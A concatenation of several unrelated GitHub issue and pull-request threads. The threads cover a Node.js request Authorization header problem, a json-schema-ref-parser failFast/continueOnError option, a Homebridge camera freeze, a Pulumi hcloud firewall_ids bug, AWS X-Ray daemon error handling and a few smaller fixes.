url: configuration.apimap.getGoals.uri,
qs: event.params.querystring, //Query string data
method: 'GET',
headers: {
'Authorization': configuration.shared.secret,
'tokenIdentifier': configuration.shared.secret
},
auth: {
'bearer': configuration.shared.secret
}
};
request(options, callback);
function callback(error, response, body) {
if (!error && response.statusCode == 200) {
context.succeed(JSON.parse(body));
}
}
};
Under options i was initially sending Authorization in header and then tried sending same value in auth object also, but didnt work. Found some similar issues reported @http://stackoverflow.com/questions/27944086/nodejs-request-module-doesnt-send-authorization-header
Thanks
Aditya

Thank you for your code, but to come back to the question of @Spetastian: What kind of authorization are you working with? Is it basic username + password? For this, the 'auth' field is designed and can be used as for example described here: http://stackoverflow.com/a/15988737/2856218
If you use something like Oauth, you have to follow the proper structure of the header. In your example, it looks like you mixed both.
The proper form for Oauth (or similar) headers is usually something like this:
'Authorization' : 'Bearer ' + authToken
Note the space between "Bearer" and the authToken.

So our backend APIs expect a shared secret key (No username password auth) for authentication and we pass it in "Authorization" header. I initially tried with and this is what i want
var options = {
url: configuration.apimap.getGoals.uri,
qs: event.params.querystring, //Query string data
method: 'GET',
headers: {
'Authorization': configuration.shared.secret
}
};
But this did not work. Any pointers to this?

What do you mean by "did not work"? When you inspect the request on the server-side, do you see the authorization header you're expecting to see?
By the way, you can format code in GitHub using "backticks" (`) for `inline-formating`: inline formatting and three backticks:
```
Like this
```
shows up like:
Like this

I was just caught by a similar issue — it appears that the Authentication custom HTTP header isn’t passed through to the request, and is instead replaced by values set in auth settings as described in the README (even if no auth settings are supplied).


Pretrained model's links are not available.

CloudStor has been decommissioned.
Would you share them again?
https://support.aarnet.edu.au/hc/en-us/sections/6547442372367-CloudStor-Decommission

The model weights can also be found here: https://github.com/anibali/margipose/releases/tag/v0.1.0


Introduce failFast option

This PR implements fastFail that is supposed to define how lenient the processing is.
Currently, json-schema-ref-parser bails upon the the first exception, regardless of it type - whether it's caused by resolver, parser, missing pointer, etc.
This is fine for the most of the time, yet there might cases where errors should be allowed.
fastFail=false meets that demand.
Key changes:

fastFail - true by default for backwards compatibility
exposed errors on each $RefParser instance
@stoplight/yaml replaced js-yaml
@stoplight/json replaced JSON.parse

None of these changes should be considered as breaking.
I tried to stay reasonable about errors and limit the scope to the user-related ones, therefore I didn't cover all spots.
If there is something really nasty happening in our own code, we should throw.
I'm not quite sure about the source of the error we set. At the moment, as stated in docs, it's equal to the uri of document where the faulty document was referenced.
The alternative option is simply set it to the uri of the document that caused the error.

Pull Request Test Coverage Report for Build 382

175 of 185 (94.59%)  changed or added relevant lines in 17 files are covered.
4 unchanged lines in 1 file lost coverage.
Overall coverage decreased (-0.1%) to 93.73%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

lib/bundle.js
2
3
66.67%

lib/parse.js
21
22
95.45%

lib/parsers/text.js
1
2
50.0%

lib/parsers/yaml.js
9
10
90.0%

lib/resolvers/file.js
3
4
75.0%

lib/util/url.js
4
5
80.0%

lib/pointer.js
10
12
83.33%

lib/util/errors.js
46
48
95.83%

Files with Coverage Reduction
New Missed Lines
%

lib/util/url.js
4
86.49%

Totals

Change from base Build 381:
-0.1%

Covered Lines:
784

Relevant Lines:
821

💛  - Coveralls

I like the sound of this, but in the interest of not marching along to a v9.0 release 3 days after a v8.0 release, perhaps we could sling this in as part of a v8.1 and get a TODO issue made up for getting this done later? Generally I try and balance great new changes with reducing major release rampage but YMMV.

@philsturgeon - I don't think this PR (as-is, or with my proposed changes) requires a major version bump.  It's fully backward-compatible and opt-in behavior.
The failFast option is true by default, which means that as soon as an error occurs, it will be thrown (and will not be wrapped in a JSONParserErrorGroup).  Only if the user sets failFast: false will the new behavior occur.

OH Sorry I misread things, you are trying to change how the PR is working, it sounded like "oh I have an idea, let's change something bigger!" and I was trying to punt that. 😆
Yeah your thing sounds good. Exceptions for problems might be better than good and bad results coming back.

@JamesMessinger
If I understand your proposal correctly, we'd like to throw in both cases, right?
The primary difference would be that with failFast set to true, we'd throw a sort of accumulated exception, while in the other scenario we'd simply bail upon the first exception.
Frankly speaking, I don't have any strong preference Both seems fairly similar and the potential change won't be difficult to implement, so I will the call up to you.
The biggest benefit of throwing in both scenarios is that you need to explicitly handle the exception, which, I believe, is something we'd like to enforce here.

Ok, cool.  Sounds like we're all in agreement then.  @P0lip - can you make the changes to the PR?
To recap:

Remove the errors property from the $RefParser class

If failFast is true (which it is by default), then nothing changes.

The very first error gets thrown immediately
The error is not wrapped

If failFast is false, then all errors are collected into a JSONParserErrorGroup

Errors are always wrapped in a JSONParserErrorGroup, even if there is only 1 error
The JSONParserErrorGroup will be thrown (not returned)
The JSONParserErrorGroup.errors property is an array containing all the errors
The JSONParserErrorGroup.message property will be something like "3 errors occurred while reading my-schema.yaml"

@JamesMessinger my apologies for a tad delayed answer.
Yes, sounds good. Going to do it tomorrow!

I believe I've addressed everything.
LMK what you think.

Hey guys (@P0lip and @philsturgeon).  Just wanted to let y'all know that I haven't forgotten about this PR.  I'm just crazy super insanely busy at work, and don't have any time to look at it yet.  I'll review it this weekend, and hopefully merge and publish it.  🎉

This would be super useful for our https://playground.asyncapi.io. I came here to make this proposal but you guys figured out already 👏 Thanks a lot!

@JamesMessinger could you try and get to it this weekend? Otherwise I'll have to hit that big green button and I'm on highly questionable home-made mead. 🥴

@philsturgeon - I'm on it.  Sorry for the delay.  I've been working 80-hour weeks for the past month and have had zero time for anything else

@JamesMessinger oh of course! Thank you so much, you’re a champion. Hope everything settles down soon that sounds rough 😫

I've declared this weekend a vacation from work.   Which means that instead of coding on work stuff all weekend, I'll be coding on APIDevTools stuff all weekend!  😁
Hooray for quarantine!

@P0lip and @philsturgeon - two things:

I renamed the failFast option to continueOnError. No functionality change. Just changed the name to be more clear and default to false rather than true.

The new dependencies that were added in this PR (@stoplight/json and @stoplight/yaml) don't work on IE or Edge. Please see Issue #165


[Bug]: Apple TV Show all cameras freezes Homebridge

What happened?
When I go on appleTV and do the multi camera view, Homebridge locks up and has to be restarted. MySpeculation is that it creates too many requests at once since it tries to do live view for all the cameras.  My appleTV is the 4K.
Device Type
Indoor Camera (Supported)
Plugin Version
v2.0.x (Supported)
HomeBridge Version
v1.6.x (Supported)
NodeJS Version
v18 (Supported)
Operating System
Docker (UnSupported)
Relevant log output
Can’t find in logs

config
This doesn’t effect just one type of Camera, it’s all (wired, doorbell, battery)

Same issue here.
same details as above but running in Linux vm, rhel9

Same issue, DSM 7.2


Tab key toggles checkboxes

Hi,
When tabbing over checkboxes (search window, options, etc) the checkboxes are toggled. This is not what should happen :)

Confirmed and also #663.

Browser, OS ?

Firefox, Windows here.

Thanks

Firefox on Windows here too :)

Fixed (1.9.1 version)


Error with firewall_ids (python code)

What happened?
Hello,
I'm trying to reproduce the example provided in Python here: https://www.pulumi.com/registry/packages/hcloud/api-docs/firewall/
But when i run pulumi up, i have this error:
Diagnostics:
  hcloud:index:Server (jarkartanet0):
    error: hcloud:index/server:Server resource 'jarkartanet0' has a problem: Attribute must be a whole number, got 374907. Examine values at 'Server.FirewallIds'.

The firewall id is the good one (374907) but it doesn't work.
If i replace:
firewall_ids=[myfirewall.id]

by
firewall_ids=[374907]

it works.
Steps to reproduce
Follow the example provided here (Python): https://www.pulumi.com/registry/packages/hcloud/api-docs/firewall/
Expected Behavior
pulumi up should work
Actual Behavior
pulumi ends with an error:
Diagnostics:
  hcloud:index:Server (jarkartanet0):
    error: hcloud:index/server:Server resource 'jarkartanet0' has a problem: Attribute must be a whole number, got 374907. Examine values at 'Server.FirewallIds'.

Versions used
CLI
Version      3.30.0
Go Version   go1.17.9
Go Compiler  gc

Plugins
NAME    VERSION
hcloud  1.8.0
python  unknown

Host
OS       debian
Version  11.3
Arch     x86_64

This project is written in python (/home/pea/xxxxx/venv/bin/python3 v3.10.4)

Current Stack: tezos

TYPE                            URN
pulumi:pulumi:Stack             urn:pulumi:tezos::iac::pulumi:pulumi:Stack::iac-tezos
pulumi:providers:hcloud         urn:pulumi:tezos::iac::pulumi:providers:hcloud::default_1_8_0
hcloud:index/server:Server      urn:pulumi:tezos::iac::hcloud:index/server:Server::jarkartanet0
hcloud:index/firewall:Firewall  urn:pulumi:tezos::iac::hcloud:index/firewall:Firewall::tezos-fw

Found no pending operations associated with tezos

Backend
Name           pulumi.com
URL            https://app.pulumi.com/pea
User           pea
Organizations  pea

NAME           VERSION
pip            22.0.4
pulumi-hcloud  1.8.0
setuptools     62.1.0
wheel          0.37.1

Pulumi locates its logs in /tmp by default

Additional context
No response
Contributing
Vote on this issue by adding a 👍 reaction.
To contribute a fix for this issue, leave a comment (and link to your pull request, if you've opened one already).

Hi @pea-io - I believe this is a manifestation of a bug in the pulumi-terraform bridge which is reading out a string when it should be an integer. While we work on a permanent fix, we recommend using Pulumi Apply to re-cast that ID.


Catch errors on request to daemon

Issue #, if available:
#267
Description of changes:
Fixes a bug where a runtime error is thrown if the service_connector cannot connect to the daemon because it is not present. We log the error instead. Also added unit test to check the condition.
Added some additional logging changes to make statements more clear and consistent between rule & target poller.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Related typo: https://github.com/aws/aws-xray-sdk-node/blob/634386e3725ffe0e2341869782e68653f384a9c1/packages/core/lib/middleware/sampling/service_connector.js#L42-L44

@ianmetcalf good catch thanks! Fixed.


Eliminate SOQLUtils.cls

From @jongpie on March 2, 2017 11:1
I really hate random utility classes that are only used by one other class.
Copied from original issue: jongpie/ApexQueryGenerator#21

I actually like SOQLUtils.  SRP and all that.  I would also expect that as the framework is adopted it would be used in more classes.

Yeah, I was planning to scrap it because I was aiming to make a managed package and there are some strange limits with managed packages where once you add a class to a package, it can be a pain to remove later, so I was hoping to minimise the number of classes. But I agree with it being a better fit with SRP... Let me tinker with it a bit more, maybe I may hold onto the class.